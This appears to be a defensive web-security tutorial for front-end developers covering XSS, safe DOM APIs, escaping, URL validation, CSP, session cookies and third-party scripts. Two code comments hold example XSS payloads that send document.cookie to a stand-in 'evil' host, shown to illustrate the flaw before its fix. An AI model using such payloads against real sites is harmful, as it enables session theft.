Everything in the browser is public
Your JavaScript is downloaded, readable and editable by anyone who opens devtools. There is no such thing as a secret in front-end code: not an API key, not a password, not a "hidden" admin flag, not a minified variable name.
Minifying and obfuscating change nothing — the code still has to run, so the value is still there.
- An API key in the bundle is a key that has been published.
- A
hiddeninput, a disabled button or adata-role="admin"attribute is a suggestion, not a rule. - Any request your page can make, a person can make by hand with different values.
- Every rule that matters is enforced on the server. The browser version is for convenience.
Cross-site scripting
XSS means someone else's JavaScript running on your origin. It can read the DOM, read localStorage, make requests as the signed-in user and change the page. It is the most common serious front-end bug by a wide margin.
el.innerHTML = `<p>Welcome, ${name}</p>`;
// a name of: <img src=x onerror="fetch('https://evil/?c='+document.cookie)">
// is now running script on your origin, with your session
The three defences
// 1. do not parse at all
el.textContent = name;
// 2. build nodes instead of strings
const p = document.createElement("p");
p.textContent = `Welcome, ${name}`;
el.append(p);
// 3. if you MUST produce markup, escape every value
const esc = (s) => String(s).replace(/[&<>"']/g, (c) =>
({ "&": "&", "<": "<", ">": ">", '"': """, "'": "'" }[c]));
el.innerHTML = `<p>Welcome, ${esc(name)}</p>`;
outerHTML, insertAdjacentHTML, document.write, eval, new Function, setTimeout("code"), and assigning to el.onclick as a string all parse or execute what you give them.
Attributes are an injection point too
The same applies to src, formaction, style and any on* attribute. A value going into an attribute needs to be validated for what that attribute means, not merely HTML-escaped.
// a URL from anywhere untrusted
link.href = userUrl; // "javascript:fetch('https://evil/?c='+document.cookie)"
// check the scheme
const safeUrl = (u) => {
try {
const url = new URL(u, location.origin);
return ["http:", "https:", "mailto:"].includes(url.protocol) ? url.href : "#";
} catch {
return "#";
}
};
link.href = safeUrl(userUrl);
Content Security Policy
CSP tells the browser which scripts are allowed to run. With a strict one, an injected <script> or onerror simply does not execute — so an XSS bug becomes a broken feature instead of a breach. It is a backstop, not a substitute for escaping.
Content-Security-Policy:
default-src 'self';
script-src 'self';
object-src 'none';
base-uri 'self';
Sessions
- A session token in
localStorageis readable by any script on the origin, so one XSS hands it over. Put it in anHttpOnlycookie, set by the server. SameSite=Laxon that cookie stops most cross-site request forgery. For state-changing requests, a CSRF token as well.- Never send a token in a URL: URLs end up in logs, in
Refererheaders and in browser history. - Sign out must invalidate the session on the server. Deleting it client-side only hides it.
Third-party scripts
Every external script you add runs with your origin's full privileges: it can read the DOM, the cookies it is allowed to see, and everything a user types. An analytics tag, a chat widget and a font loader are all the same level of trust.
integritymakes the browser refuse a file that does not match the hash.- Prefer self-hosting a copy you have reviewed to a CDN that can change under you.
- Audit
npmdependencies: the code you did not write is still the code you shipped.
<script src="https://cdn.example.com/lib.js"
integrity="sha384-…"
crossorigin="anonymous"></script>
A short checklist
- No secret in front-end code, ever.
textContentby default;innerHTMLonly with markup you wrote and values you escaped.- Validate a URL's scheme before putting it in
hreforsrc. - Session in an
HttpOnly,Secure,SameSitecookie — not in storage. - A Content Security Policy.
- Every rule enforced again on the server.